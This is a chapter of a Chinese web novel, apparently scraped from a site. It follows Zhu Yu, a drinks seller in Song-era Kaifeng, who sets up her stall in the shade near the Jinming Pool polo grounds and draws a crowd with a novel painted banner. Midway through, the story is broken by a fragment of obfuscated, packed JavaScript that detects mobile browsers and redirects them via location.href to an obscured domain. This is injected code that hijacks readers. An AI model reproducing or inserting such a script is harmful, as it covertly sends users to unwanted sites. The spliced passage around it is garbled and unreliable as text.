祝余适应了东京府的生活后，迅速摸清大大小小的节日和活动，绝不放过任何可以摆摊卖货的机会，誓要以最短的时间多多赚钱。 城外马球会这种大型活动，听着就很有赚头，这么大老远的出城、游玩、骑马，怎能不渴？ 饮子生意怎能不好！ 许多卖茶水饮子的小贩，每日下午都会抽时间来摆摊，更有甚者遇到哪日同开的场次多，那日便不在原摊位上做生意，全天驻扎在金明池边，可见很有赚头。 祝余昨日听宋大娘提到这消息时，心痛非常。 错过了好多天赚钱的机会！ 今日照常在城东迅速清了摊，祝余便快速回家修整补货，开始第二场的生意。 做饮子生意，再怎么注意卫生，台面上还是撒了些汤水。 更别说祝余的小摊，方才被客人围得是水泄不通，双手一直不得闲，碗都洗不过来了，更别说要同时兼顾卫生清洁。 祝余回到家后，清空台面的东西，用清水冲了冲桌面，接着用湿抹布擦拭，确保没有汤水污渍残留。 洗好了小摊车，祝余又将桶、碗、勺等冲了遍。 至于用过的抹布，则换成了昨晚喜好晾晒的干净抹布。 做好清洁工作，祝余将车柜里的空桶拿出来简单冲洗，而后拿出浸泡在水缸里的两大桶酸梅汤、绿豆沙，分装进四个较小的木桶里，这个大小外出售卖搬太更顺手省事，而且更方便装进车柜里。 相较于其他小摊生意，需要现场生火，柴米油盐一个不落，费时费力的现炒现卖的生意更是苦累。 买饮子甜水可提前在家中备好，第二日出摊直接将成品推出售卖即可。 手脚利索地收拾好摊车饮子，祝余又回屋换了身成色较新的衣裳，这才出了门。 祝余租住的小院位于东京城东南方的一个居民坊内，金明池于城西郊外，中间有着不小的一段距离。 祝余大老远推着小摊车到达时，时辰已至未申之间，也就是下午三点左右。 此时正午最烈的热气已经过去，马球赛场又热闹了起来。 场内喝彩声阵阵，各个场地内鼎沸的人声、场外踏青闲逛的身影，都是潜在的客人啊！ 从西城门至金明池路程不远，且有一条不小的道路连着，车马行走方便。 小贩们的摆摊地点，也多在主干道两旁。 金明池边的马球场，分散在主干道四周，故而主干道及附近草地，是人流量最大的地方，也是小摊最多的地方。 祝余将近下午才到，自然抢不到主干道旁边的摊位。 不过幸而城外摆摊无租金更无定点，这么大片区域地儿随便挑。 没着急抢位置摆摊，祝余站在一旁观察摊贩的分布情况。 主干道为方便车马往来，地面无路障、空中无遮挡，自然也就没有遮阳的地儿。 祝余看到她勤奋的同行们在烈日下坚持，就为了把摊摆在主干道两旁，方便来往行人购买，借此提高客人的购买率。 此时虽正午已过，阳光没那么灼热，但长时间站在阳光下，小贩们还是止不住冒汗，光亮的额头似沁水的岩壁，汗珠一颗接一颗滚落，汗渍渍的瞧着人难受。 祝余当机立断，转身往一旁的大树，她还是在树荫下摆摊吧。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454990|169267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这个位置虽然不在通向各个球场的道路旁，也是在主干道一眼就能看到的。 不过对于客人来说，各家饮子大差不差，有在路边能随手买到的，何必多走这两步？ 祝余找了两块石头，将摊车对角的车轮顶住，再从车柜里搬出装满饮子的木桶，盖上防尘布，摊子就收拾好了。 一人一车远离人群摆摊，这不合常理的行为引起了部分摊贩的注意。 这小娘子莫不是第一次来这儿出摊？怎偏贪凉选了树荫下，坐马车的客人们都是坐在车上直接买，哪里舍得特意拐过去哟！ 且这不小的距离，大伙儿哪知道卖的是什么，再大声吆喝也不顶事啊！ 正当经验十足的摊贩们，看着这边摇头叹息时，祝余反手掏出一面幡子，撑着长杆就挂起来了。 带着显眼图画的新鲜幡子，高高挂在杆上迎风飘扬，在周围仅她一人的情况下，特别显眼。 祝余方才挂上去，就有不少人看到这条与众不同的幡子。 新奇的饮子名、传神的彩笔画，祝余精心绘制的幡子，让每一个初瞧见的人都挪不开眼球。 隐约看清幡子上的字后，一对正闲逛犹豫着要喝哪家饮子的母女，径直朝祝余的饮子摊走了过去。 一生爱凑热闹的花国人，注意到这边的人，都带着好奇往枝叶繁茂的大树靠拢。 方才在心中暗暗嘲笑祝余的小贩：！！！ 躲在阴凉的树下，挂条新奇的幡子，将客人吸引过去！ 我怎么就没想到这一招！ 几人在心中暗暗握拳，我明日也要弄条幡子！ 不过...... 也不知那小娘子寻的是哪家画师，这种画法倒是从未见过，确实夺人眼球。 他要是在此处闲逛的行人，高低也要凑过去瞧瞧。 不少客人聚过来时，便是带着好奇瞧热闹来的。 好不好喝是一回事，热闹是一定要凑的，况且那摊子在树荫下，权当凑个凉快的趣儿咯。 “你这酸梅汤饮子，闻所未闻，是如何熬制的？” 最先牵着女儿来到摊前的女子询问。 一开口，就当着这么多人的面问饮子做法。